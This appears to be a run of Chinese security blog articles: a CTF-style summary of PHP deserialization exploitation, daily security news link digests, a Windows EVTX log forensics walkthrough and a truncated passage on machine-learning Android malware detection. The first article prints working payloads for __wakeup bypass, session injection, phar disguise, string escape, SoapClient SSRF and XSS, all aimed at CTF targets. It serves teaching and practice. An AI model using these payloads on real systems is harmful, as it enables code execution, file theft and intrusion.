反序列化漏洞利用总结
反序列化无论在CTF比赛中,抑或是实战渗透中都起着重要作用,而这一直都是我的弱项之一,所以写一篇反序列化利用总结来深入学习一下 <!-- more --> 简单介绍 (反)序列化只是给我们传递对象提供了一种简单的方法。 serialize()将一个对象转换成一个字符串 unserialize()将字符串还原为一个对象 在本质上,反序列化的数据是没有危害的,但是当反序列化数据是用户可控时,这时就会产生一些预期外的结果,也就可能存在危害 因此,反序列化的危害,关键在于可控或不可控,而我们找反序列化漏洞时,数据的可控与不可控也是一处着力点 在本文,不会着重讨论反序列化漏洞的形成原理,这已经被其他师傅讲得很透彻了,我在这里只是稍微总结一下思路,仅此而已 漏洞成因即利用思路 才疏学浅,若有错误,多加包涵 Magic function Magic function,即我们常说的魔术方法,我们的反序列化漏洞也常常与这些相挂钩 __construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。 __destruct():析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。 __wakeup():如前所提,unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法。 __toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。 __sleep():用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。 利用方式 __wakeup() 对应的CVE编号:CVE-2016-7124 存在的php版本: PHP5.6.25之前版本和7.0.10之前的7.x版本 漏洞成因:当对象的属性(变量)数大于实际的个数时,__wakeup可以被被绕过 demo <?php highlight_file(__FILE__); error_reporting(0); class convent{    var $warn = "No hacker.";    function __destruct(){        eval($this->warn);   }    function __wakeup(){        foreach(get_object_vars($this) as $k => $v) {            $this->$k = null;       }   } } $cmd = $_POST[cmd]; unserialize($cmd); ?> 这边的 __wakeup是事件型的,如果没遇到unserialize就永远不会触发了,所以我们得先搞清楚先执行哪个方法,再执行哪个方法。 在这里,经过测试,我们可以得出__wakeup优先级高于 __destruct() 因为遇到了unserialize得先执行 __wakeup里面的内容,才能跑到我们想要的 __destruct()里面,所以得绕过这个 __wakeup 怎么绕过? 只要对象的属性(变量)数大于实际的个数时,__wakeup就可以被被绕过 <?php class convent{    var $warn = "phpinfo();";    function __destruct(){           }   } $a = new convent(); $b = serialize($a); print_r($b);//O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";} ?> 然后更改变量数即可 O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";} >> O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";} 存在多个魔法方法时,要弄清哪个魔法方法的优先级高 PHP session反序列化 这在我之前一篇https://mp.weixin.qq.com/s/EY5ZUA-FcjBdiSivCh1qpQ其实已经介绍得差不多了 漏洞成因:其主要原理就是利用序列化的引擎和反序列化的引擎不一致时,引擎之间的差异产生序列化注入漏洞 demo 在之前的高校战疫中考查过, 利用的就是php session的序列化机制差异导致的注入漏洞 相关题目: http://web.jarvisoj.com:32784/ <?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO {    public $mdzz;    function __construct()   {        $this->mdzz = 'phpinfo();';   }    function __destruct()   {        eval($this->mdzz);   } } if(isset($_GET['phpinfo'])) {    $m = new OowoO(); } else {    highlight_string(file_get_contents('index.php')); } ?> 仔细看了一遍发现题目没有入口,注意到有ini_set('session.serialize_handler', 'php')存在,猜测是否为session反序列化漏洞 看一下phpinfo local value(当前目录,会覆盖master value内容):phpmaster value(主目录,php.ini里面的内容):php_serialize 这就很明显存在session反序列化漏洞了 当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。 所以可以通过Session Upload Progress来设置session 允许上传且结束后不清除数据,这样更有利于利用 我们在html网页源码上加入以下代码 <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />    <input type="file" name="file" />    <input type="submit" /> </form> 接下来就是考虑怎么利用了,我们可以利用反序列化数据可控来达成我们的目的 <?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); class OowoO {    public $mdzz='print_r(scandir(dirname(__FILE__)));'; } $obj = new OowoO(); echo serialize($obj);//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";} ?> 为了防止被转义,我们在双引号前加上反斜杠\ |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";} 抓包上传,将filename改成我们的payload(要INI中设置的session.upload_progress.name同名变量) 这样我们就可以看到当前目录的文件了,再去phpinfo中查看当前目录 更改payload,利用print_r来读取目标文件 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";} phar 反序列化 phar在网上已经有很多解释了,这里就不过多赘述,简单来说phar就是php压缩文档,不经过解压就能被 php 访问并执行 前提条件 php.ini中设置为phar.readonly=Off php version>=5.3.0 漏洞成因:phar存储的meta-data信息以序列化方式存储,当文件操作函数(file_exists()、is_dir()等)通过phar://伪协议解析phar文件时就会将数据反序列化,并且可以不依赖unserialize()直接进行反序列化操作。 demo 根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作 <?php    class User{        var $name;        function __destruct(){            echo "Blackwatch";       }   }    @unlink("test.phar");    $phar = new Phar("test.phar");//后缀名必须为phar    $phar->startBuffering();    $phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub    $o = new User();    $o->name = "test";    $phar->setMetadata($o);//将自定义的meta-data存入manifest    $phar->addFromString("test.txt", "Blackwatch");//添加要压缩的文件     //签名自动计算    $phar->stopBuffering(); ?> 可以很明显看到我们的manifest(也就是meta-data)是以序列号形式存储的 在上面的demo中我们可以看到,当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,其他函数也是可以的 phar反序列化可以利用的函数 phar文件伪造 因为php对phar文件的识别是通过文件头stub来识别的,更准确的说是__HALT_COMPILER();?>这段代码,对于前面的内容和后缀名是没有要求的,我们可以利用这个特性将phar伪装成其他文件进行上传 phar 文件能够上传 文件操作函数参数可控, : ,/ phar 等特殊字符没有被过滤 有可用的魔术方法作为”跳板” $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); 例题:SWPUCTF2018 SimplePHP bypass phar:// 不能出现在首部 这时我们我们可以利用compress.zlib:// 或compress.bzip2://函数,compress.zlib://和compress.bzip2://同样适用于phar:// payload compress.zlib://phar://phar.phar/test.txt 例题:巅峰极客 2020 babyphp2 字符逃逸 PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 . 当长度不对应的时候会出现报错 可以反序列化类中不存在的元素 漏洞成因:利用序列化后的数据经过过滤后出现字符变多或变少,导致字符串逃逸 字符串变多 [0CTF 2016]piapiapia 扫描目录发现有http://WWW.ZIP泄露,下载后用Seay源码审计一下 而我们对源码全局搜索时发现,只有config.php存在flag字段的内容,因此可以分析我们的初步思路 因为在profile.php 中: 存在文件操作函数file_get_contents()以及可控的参数 photo ,如果photo 为config.php 就能读取到flag profile.php update.php class.php 我们可以看到这里的正则过滤掉了where(5)替换成了hacker(6) 在update.php 中对数组profile 进行序列化储存后,在profile.php 进行反序列化 我们注册后来抓个包,发现数组中元素的传递nickname也是位于photo之前的,所以我们可以想办法让nickname足够长,把upload那部分字段给”挤出去” 这就是反序列化长度变化尾部字符串逃逸 我们的目标是使photo字段的内容为config.php所以我们要的序列化数据闭合应为:";}s:5:"photo";s:10:"config.php";},34个字符 我们的目的是将";}s:5:"photo";s:10:"config.php";}插入序列化的字符串里面去,这个的长度为34,所以我们要挤出来34位,不然就成了nickname的值了 where(5)会替换成hacker(6),长度加1,所以我们要构造34个where ";} 是为了闭合nickname部分,而后面这部分s:5:"photo";s:10:"config.php";} ,就单独成为了 photo 的部分( 尾部字符串逃逸 ),到达效果 使用数组绕过nickname长度限制 wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} 发包后在/profile.php 页面复制头像的地址,进行base64decode得到flag 字符串变少 也有师傅称之为对象逃逸 俺没对象所以不用这个名称 原理与上者差不多,是经过序列化-->敏感字替换为空(长度变短)-->反序列化的过程之后再输出结果 直接看题 [安洵杯 2019]easy_serialize_php 源码如下 <?php$function = @$_GET['f'];function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}if($_SESSION){ unset($_SESSION);}$_SESSION["user"] = 'guest';$_SESSION['function'] = $function;extract($_POST 根据提示我们可以在phpinfo中看到flag 在 d0g3_f1ag.php 这个文件中,直接读取是不行的 $_SESSION 数组中有 user, funciton, img 这三个属性 img的值我们是控制不了的,进而无法读取到目标文件 我们把注意力转移到函数serialize上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,而这层过滤函数会干扰序列化后的数据 而且extract($_POST)存在变量覆盖漏洞 所以我们可以在这上面做文章 这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对 当我们令_SESSION[user]为flagflagflagflagflagflag时,正常情况下序列化后的数据是这样的:正常情况下,序列化后的数据应为 a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";} 但是因为过滤的原因,会变成这样 a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";} 可以看到,user的内容已经变为空,但是长度还是24,那么反序列化时就会自动往后读取24位,会读取到";s:8:"function";s:59:"a ";s:8:"function";s:59:"a其长度为24,作为一个整体成了user的值 因为php反序列化时,当一整段内容反序列化结束后,后面的非法字符将会被忽略,而我们可以看到这是以{作为序列化内容的起点,}作为序列化内容的终点 后面";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}这部分被舍弃 因此我们可以控制$userinfo["img"]的值,达到任意文件读取的效果 所以payload为 _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image 读取完d0g3_f1ag.php后,得到下一个hint,获取到flag文件名 Pop chain 严格来说,这更多像一种方法,就像玩乐高一样把一个个魔术方法串联起来,POP CHAIN 更多的是在类之间,方法之间的调用上,由于方法的参数可控存在危险函数,导致了漏洞,,实也是在代码逻辑上出现的问题 在编写Pop 链的exp的时候,,类的框架几乎不变,只需要做一些修改 pop chain的构造这里就不展开讨论了,毕竟这点位置来讲还不如去看一下github上师傅们挖出来的链实在,后面有机会可以写一下反序列化链构造的思路 SoapClient SoapClient 类搭配CRLF注入可以实现SSRF, 在本地生成payload的时候,需要修改php.ini 中的 ;extension soap 将注释删掉即可 漏洞成因:因为SoapClient 类会调用 __call 方法,当执行一个不存在的方法时,被调用,从而实现ssrf exp <?php$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf?> LCTF 2018 bestphp's revenge exp import requestsimport reurl = "http://7c3ee1c8-bf16-4e25-bd02-db385135a819.node4.buuoj.cn/"payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'r = requests.session()data = {'serialize_handler': 'php_serialize'}res = r.post(u Exception 与SoapClient一样,是属于PHP原生类 漏洞成因:php 的原生类中的Error 和Exception 中内置了toString 方法, 可能造成xss漏洞 <?php$s = new Exception("<script>alert(1)</script>");echo urlencode(serialize($s));?> 总结 除了上面这些,还可以和sql注入,命令执行等结合,这里就不再一一赘述,php反序列化漏洞的利用,其实是与xss,sql注入等十分相似的,都是一种闭合-构造,以改变原本代码结构进而达到漏洞利用的目的的思路
网络安全日报 2021年07月28日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、CODESYS 修补工业自动化产品中的十几个漏洞 https://www.securityweek.com/codesys-patches-dozen-vulnerabilities-industrial-automation-products 2、Zimbra Webmail 服务器漏洞可导致被入侵 https://www.securityweek.com/vulnerabilities-allow-hacking-zimbra-webmail-servers-single-email 3、Sunhillo 航测产品发现严重漏洞 https://www.securityweek.com/critical-vulnerability-found-sunhillo-aerial-surveillance-product 4、南非物流公司 Transnet SOC 遭受勒索软件攻击 https://securityaffairs.co/wordpress/120596/cyber-crime/transnet-soc-cyber-attack.html 5、研究人员披露Kaseya Unitrends 三个新的0day漏洞 https://securityaffairs.co/wordpress/120591/security/kaseya-unitrends-zero-days.html 6、IDEMIA的生物识别设备中存在多个漏洞 https://portswigger.net/daily-swig/security-vulnerabilities-in-idemia-access-control-devices-could-allow-attackers-to-remotely-open-doors 7、印尼人民银行 (BRI) 保险部门 BRI Life 报告200W用户数据泄露 https://www.reuters.com/business/finance/indonesias-bri-life-probes-reported-data-leak-2-million-users-2021-07-27 8、谷歌推出新的 Bug Hunters 漏洞奖励平台 https://www.bleepingcomputer.com/news/google/google-launches-new-bug-hunters-vulnerability-rewards-platform/ 9、网络犯罪分子使用虚假的 Win 11 安装程序来传播恶意软件 https://www.cyberscoop.com/microsoft-11-fake-installer-kaspersky-malware/ 10、 物联网恶意软件增长700%,Gafgyt 和 Mirai为主要威胁 https://www.freebuf.com/articles/paper/281177.html
网络安全日报 2021年07月27日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Apple 修复了今年第 13 个零日漏洞 CVE-2021-30807 https://securityaffairs.co/wordpress/120576/security/apple-cve-2021-30807-zero-day.html 2、微软发布了针对 PetitPotam 攻击的缓解措施 https://securityaffairs.co/wordpress/120550/security/petitpotam-attack-mitigations.html 3、研究人员演示了将恶意软件隐藏在神经网络模型中的技术 https://securityaffairs.co/wordpress/120558/malware/hiding-malware-model-neural-network.html 4、No More Ransom成立 5 周年已为数百万勒索软件受害者恢复了数据 https://securityaffairs.co/wordpress/120567/cyber-crime/no-more-ransom-5th-anniversary.html 5、Firefox 90 不再支持 FTP 协议 https://www.securityweek.com/firefox-90-drops-support-ftp-protocol 6、GitLab 发布开源工具,用于发现程序依赖项中的恶意代码 https://www.securityweek.com/gitlab-releases-open-source-tool-hunting-malicious-code-dependencies 7、Babuk Ransomware 团伙被勒索 https://threatpost.com/babuk-ransomware-gang-ransomed-forum-stuffed-porn/168169/ 8、微软警告垃圾邮件活动利用HTML 走私绕过邮件安全系统 https://therecord.media/microsoft-warns-of-weeks-long-malspam-campaign-abusing-html-smuggling 9、大华和海康威视被退出美国安防行业协会(SIA) https://therecord.media/dahua-hikvision-out-of-security-camera-industry-group 10、Mitre发布了25个最危险的软件漏洞列表 https://www.zdnet.com/article/the-25-most-dangerous-software-vulnerabilities-to-watch-out-for/
Windows 取证之EVTX日志
0x0、概述 evtx文件是微软从 Windows NT 6.0(Windows Vista 和 Server 2008) 开始采用的一种全新的日志文件格式。在此之前的格式是 evt 。evtx由Windows事件查看器创建,包含Windows记录的事件列表,以专有的二进制XML格式保存。 0x1、EVTX文件结构 evtx文件主要由三部分组成: file header (文件头) chunks (数据块) trailing empty values (尾部填充空值) File Header(文件头): 文件头长度为4KB(4096bytes),其结构如下: 偏移长度(Bytes)值描述0x008"ElfFile\x00"标志位/签名0x088 第一个区块编号(存在时间最久的区块编号)0x108 当前区块编号(块的编号从0开始)0x188 下一条事件记录的ID0x204128文件头有效部分的大小0x2421次要版本0x2623主要版本0x2824096文件头的大小0x2A2 区块的数量0x2C76 未知 (空值)0x784 文件标志0x7C4 文件头前 120 bytes 的CRC32校验和0x803968 未知 (空值) 我们可以使用Hex编辑器打开一个evtx文件查看一下: Chunk(块): 每个块的大小是 65536 bytes(64KB),主要由三部分组成: chunk header 块头 array of event records 事件记录组 unused space 未使用的空间 chunk头长度为512bytes,其结构如下: 偏移长度(Bytes)值描述0x008"ElfChnk\x00"标志位/签名0x088 基于日志编号的第一条日志记录的ID0x108 基于日志编号的最后一条日志记录的ID0x188 基于文件编号的第一条日志记录的ID0x208 基于文件编号的最后一条日志记录的ID0x284128chunk头大小0x2C4 最后一条日志记录的偏移量(相对于块头的起始偏移量)0x304 下一条日志记录的偏移量(相对于块头的起始偏移量)0x344 事件记录数据的 CRC32 校验和0x3864 Unknown (空值)0x784 Unknown (flags?)0x7C4 块头CRC32校验和(块头前120个字节和128至512字节的数据的CRC32校验和) Event record(事件记录): 事件记录的长度非固定长度,其结构如下: 偏移长度(Bytes)值描述0x004"\x2a\x2a\x00\x00"标志位/签名0x044 事件记录的长度0x088 记录ID0x108 日志记录的写入时间(FILETIME)0x18不确定 基于二进制XML编码的信息不确定4 记录长度(副本) 由上面的信息,可知evtx日志文件包含一个4KB的文件头加后面一定数量的64KB大小的块,一个块中记录一定数量(大约100条)的事件记录。每个块是独立的,不受其他块影响。不会出现一条事件记录的数据存在于两个块中。每条记录包含一个基于二进制XML编码的信息。每条事件记录包含其创建时间与事件 ID(可以用于确定事件的种类),因此可以反映某个特定的时间发生的特定的操作,取证人员可以根据日志文件来发现犯罪的过程。 evtx日志文件大概的结构如下所示: 在windows事件查看器中查看: 0x2、EVTX文件的存储 Windows事件日志文件保存在%SystemRoot%\System32\Winevt\Logs路径中。 常见日志文件主要有三个,分别是:System.evtx 、Application.evtx 和Security.evtx。分别是系统日志、应用程序日志和安全日志。 System.evtx 记录操作系统自身组件产生的日志事件,比如驱动、系统组件和应用软件的崩溃以及数据丢失错误等等。 Application.evtx 记录应用程序或系统程序运行方面的日志事件,比如数据库程序可以在应用程序日志中记录文件错误,应用的崩溃记录等。 Security.evtx 记录系统的安全审计日志事件,比如登录事件、对象访问、进程追踪、特权调用、帐号管理、策略变更等。Security.evtx也是取证中最常用到的。 默认情况下,当一个evtx文件的记录满了,日志服务会覆盖最开始的记录,从头开始写入新的记录。也就是相当于一个循环记录的缓存文件。 0x3、Evtx日志分析 Windows 用 Event ID来标识事件的不同含义,拿Security日志来说,一些常见的Event ID 如下: 事件ID描述4608Windows 启动4609Windows 关机4616系统时间发生更改4624用户成功登录到计算机4625登录失败。使用未知用户名或密码错误的已知用户名尝试登录。4634用户注销完成4647用户启动了注销过程4648用户在以其他用户身份登录时,使用显式凭据成功登录到计算机4703令牌权限调整4704分配了用户权限4720已创建用户账户4725账户被禁用4768请求Kerberos身份验证票证(TGT)4769请求Kerberos服务票证4770已续订Kerberos服务票证4779用户在未注销的情况下断开了终端服务器会话 1、通过Windows事件查看器分析日志 通过Windows事件查看器可以查看当前主机的事件日志,也可以打开保存的 evtx文件。 可以通过点击、筛选、查找等多种方式查看事件日志 筛选器提供了丰富的筛选方式: 2、通过工具分析Evtx Log Parser Log Parser(是微软公司自己开发的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它使用类似 SQL 语句一样查询分析这些数据,还可以把分析结果以图表的形式展现出来。 Log Parser下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=24659 使用方法: logparser -i:输入文件的格式 -o:输出文件的格式 "查询语句 和文件路径" 例子: 查询登录成功的事件: LogParser.exe -i:EVT -o:DATAGRID  "SELECT *  FROM E:\Security.evtx where EventID=4624" 还有其他的语法,具体可以查看其帮助信息 >LogParser.exeMicrosoft (R) Log Parser Version 2.2.10Copyright (C) 2004 Microsoft Corporation. All rights reserved.Usage:   LogParser [-i:<input_format>] [-o:<output_format>] <SQL query> |                  file:<query_filename>[?param1=value1+...]                  [<input_format_options>] [<output_f Log Parser Studio logparser的GUI版本。 下载地址:https://techcommunity.microsoft.com/t5/exchange-team-blog/log-parser-studio-2-0-is-now-available/ba-p/593266 其界面如下: Event Log Explorer Event Log Explorer 是一个非常好用的Windows 日志分析工具,下载地址:https://eventlogxp.com/ LogParser Lizard LogParser Lizard 是一个功能丰富的Windows 日志分析软件,可以通过类似SQL查询语句对日志筛选查询进行分析。 下载地址:https://lizard-labs.com/log_parser_lizard.aspx Evtx Explorer/EvtxECmd 具有标准化CSV、XML和json输出的事件日志(Evtx)解析器! 下载地址:https://ericzimmerman.github.io/#!index.md 使用方法: EvtxECmd.exe -f 日志文件 --xml 输出路径 解析的xml文件结构如下: 0x4、Evtx取证实战 题目来源:Cynet应急响应挑战赛 描述:GOT Ltd 的人力资源主管King-Slayer认为他的电脑上有可疑活动。 2020 年 2 月 8 日,15:00 左右,他发现桌面上出现了一个带有 kiwi标志的文件。据他描述,该文件首次出现在他的桌面后不久就突然消失了。那天晚些时候,他开始收到消息告诉他需要重新激活 Windows Defender。他激活了 Windows Defender,几个小时后又收到了同样的消息。 他决定将这件事告诉他在 IT 部门的朋友——Chris。Chris立即将此事报告给了 GOT 的网络安全部门。 该公司的 CISO 立即打电话求助我们,GOT有限公司总部设在瑞士,CISO 向我们发送了来自 King-Slayer的 PC 和域控制器的所有事件日志文件。他希望我们查出异常: 提示: 用户帐户 (KingSlayer) 是他电脑上的本地管理员。 域名 -> GOT.Com DC 服务器名称 -> WIN-IL7M7CC6UVU Jaime(King Slayer)的主机名->DESKTOP-HUB666E(172.16.44.135) 提交攻击者使用的域用户帐户(King-Slayer除外)以及他使用此用户帐户访问的主机的IP地址。 我们拿到的文件包括DC服务的日志和主机日志文件: 给出的文件还有一个提示就是PassTheHash ,表明攻击者使用了该技术。 传递哈希是一种黑客技术,它允许攻击者使用用户密码的基础NTLM或LanMan哈希对远程服务器或服务进行身份验证,而不是像通常情况下那样要求使用关联的明文密码。它取代了仅窃取哈希值并使用该哈希值进行身份验证而窃取明文密码的需要。--via 维基百科 通过日志交叉比对和筛选查找,我们确定了在2020-2-9 21:59左右,有异常登录行为 注意:Windows EVTX 的FILETIME 是 UTC时间,注意转化为瑞士当地时间。 我们发现用户Daenerys在2020年2月9日21:59 (当地时间15:59)通过SMB协议登录到WIN-IL7M7CC6UVU(域控制器),而且使用了PSExec.exe 利用Deanerys用户登录了域控服务器。攻击者可能使用了Mimikatz拿到了Daenerys用户的哈希,然后用于横向移动渗透到DC。 参考资料 https://github.com/williballenthin/python-evtxWindows EVTX日志恢复与取证技术研究 https://xuewen.cnki.net/CMFD-1018252760.nh.html
网络安全日报 2021年07月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、包含38 亿个电话号码的Clubhouse数据库在暗网出售 https://securityaffairs.co/wordpress/120553/hacking/threat-actor-offers-clubhouse-secret-database-containing-3-8b-phone-numbers.html2、 攻击者通过Argo Workflows在K8s上部署挖矿程序 https://securityaffairs.co/wordpress/120544/malware/kubernetes-attacks-argo-workflows.html3、XCSSET macOS 恶意软件窃取Telegram、Chrome数据 https://securityaffairs.co/wordpress/120532/cyber-crime/xcsset-macos-malware-telegram.html4、2021 年东京奥运会开幕式前遭到恶意软件攻击 https://securityaffairs.co/wordpress/120513/malware/2021-tokyo-olympics-wiper.html5、研究人员发现Windows漏洞 PetitPotam 可获取密码哈希 https://securityaffairs.co/wordpress/120489/hacking/windows-petitpotam-attack.html6、包含居民个人数据在内的 80 多个美国市政敏感信息泄露 https://securityaffairs.co/wordpress/120477/data-breach/us-municipalities-data-breach.html7、Kaseya 获得了 REvil 勒索软件通用解密器 https://securityaffairs.co/wordpress/120467/cyber-crime/kaseya-obtained-revil-universal-decryptor.html8、苹果修复了 iPhone WiFi SSID格式化溢出漏洞 https://www.bleepingcomputer.com/news/security/apple-fixes-bug-that-breaks-iphone-wifi-when-joining-rogue-hotspots/9、Taurus恶意软件利用破解软件站点诱导用户安装 https://blog.minerva-labs.com/taurus-user-guided-infection10、研究显示大量家用路由器仍然使用默认管理员密码 https://www.welivesecurity.com/2021/07/22/popular-wi-fi-router-vulnerable-default-password-attack/
网络安全日报 2021年07月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、荷兰警方逮捕网络钓鱼 Fraud Family 开发团伙成员 https://securityaffairs.co/wordpress/120428/cyber-crime/fraud-family-members-identified.html 2、美国保险巨头 Humana 客户的敏感数据在线泄露 https://securityaffairs.co/wordpress/120402/data-breach/humana-data-leak.html 3、意大利票务平台TicketClub数据在暗网出售 https://securityaffairs.co/wordpress/120406/data-breach/ticketclub-italy-data-leak.html 4、CISA警告在被黑的Pulse Secure设备上发现隐蔽的恶意软件 https://securityaffairs.co/wordpress/120412/hacking/pulse-secure-cisa-malware.html 5、Atlassian 修补了 Jira 产品中的关键漏洞 https://www.securityweek.com/atlassian-patches-critical-vulnerability-jira-data-center-products 6、Google Cloud 推出新的 SOC、IDS 解决方案 https://www.securityweek.com/google-cloud-unveils-new-soc-ids-solutions 7、微软发布 Windows 10 修复"SeriousSAM"漏洞的解决方法 https://threatpost.com/win-10-serioussam/168034/ 8、2020年推特黑客事件的第四名嫌疑人被捕 https://thehackernews.com/2021/07/another-hacker-arrested-for-2020.html 9、新的 XCSSET 恶意软件变体针对 Telegram、Evernote、Skype 等 https://www.trendmicro.com/en_us/research/21/g/updated-xcsset-malware-targets-telegram--other-apps.html 10、英格兰北方铁路售票机遭受勒索软件攻击 https://www.reuters.com/world/uk/uks-northern-rails-self-service-ticket-machines-hit-by-ransomware-cyber-attack-2021-07-19/
Android恶意软件检测
0x01 前言 本文将介绍如何利用机器学习技术检测安卓恶意软件,在前文会介绍相关基础知识,在后文则以实战为导向,介绍如何使用支持向量机检测安卓恶意软件,以及通过可解释性技术解释模型的决策结果,最后介绍如果对该模型发动对抗样本攻击。 0x02 支持向量机 在机器学习中,支持向量机(英语:support vector machine,常简称为SVM,又名支持向量网络)是在分类与回归分析中分析数据的监督式学习模型与相关的学习算法。 给定一组训练实例,每个训练实例被标记为属于两个类别中的一个或另一个,SVM训练算法创建一个将新的实例分配给两个类别之一的模型,使其成为非概率二元线性分类器。SVM模型是将实例表示为空间中的点,这样映射就使得单独类别的实例被尽可能宽的明显的间隔分开。然后,将新的实例映射到同一空间,并基于它们落在间隔的哪一侧来预测所属类别。  相关实验:<支持向量机检测DGA>:https://www.yijinglab.com/expc.do?ec=ECIDd5fb-5379-4f4b-862e-db7ab18b3a19(了解支持向量机的原理,学习SVM是怎么应用于检测DGA的。)  0x03 可解释性技术 接着介绍本文用到的可解释性技术,来自于[2][3]两篇论文。 我们使用的数据集是Drebin,该数据集包含来自 179 个不同恶意软件家族的 5,560 个应用程序,样本是在2010年8月至 2012年10月期间收集的,由MobileSandbox 项目提供。其主页为:https://www.sec.cs.tu-bs.de/~danarp/drebin/  数据集的每个特征都是一个布尔变量,0表示不存在该特征,1表示存在该特征。 如下所示:  安卓样本(apk文件)在特征空间中表示为向量,然后用一组带有标签的数据集进行训练,来区分良性样本和恶意样本。在测试时,则用训练得到的分类器判别样本文件。如果其输出f(x)>0,则将其归类为恶意样本,否则归类为良性样本。我们希望利用可解释性技术解释模型做出对应决策的理由。  以前的可解释性技术关注梯度,更一般的说法就是围绕输入点x的线性近似值给解释技术提供了有用的信息。设f是与预测类别相关的置信度,其认为与局部梯度 ∇f(x) 的最大绝对值相关的那些特征识别是最能影响决策结果的特征。然而,对于稀疏数据(比如安卓恶意软件)来说,那些方法给出的最有影响力的特征往往不在给定的样本中,从而难以解释相应的预测结果。 因此,我们采用不同的方法。我们将梯度 ∇f (x) 投影到 x 上以获得特征相关(feature-relevance)向量 ν = ∇f(x) · x ∈ Rd,其中 · 表示元素乘积。然后我们将 ν 归一化为一元 l1 范数,即 r =v/||v|,以确保只有 x 中的非空特征被识别为与决策结果相关。 最后,可以将 r 的绝对值按降序排列以识别对决策结果最具影响的特征。 应用提出的解释性技术,下表中给出了SVM(顶行)和 RF(底行) (i) 良性样本(第一列),(ii)SM SWA TCHER 家族的恶意软件样本(第二列),以及 (iii) PL ANKTON家族的恶意软件样本(第三列)的最能影响判决结果的前10个特征,并给出了每个特征在 BENING (pB ) 和恶意软件 (pM ) 中存在的可能性。  0x04 对抗样本技术 然后介绍本文用到的对抗样本技术,来自于[4][5]两篇论文。 我们可以将生成的对抗样本形式化为:  其中,x’是与生成的对抗样本z’相关的特征空间,wˆ 是攻击者估计的权重向量。 这个式子本质上告诉攻击者应该修改哪些特征以最大程度地降低分类函数的值,即最大化逃避检测的概率。注意,根据操作约束 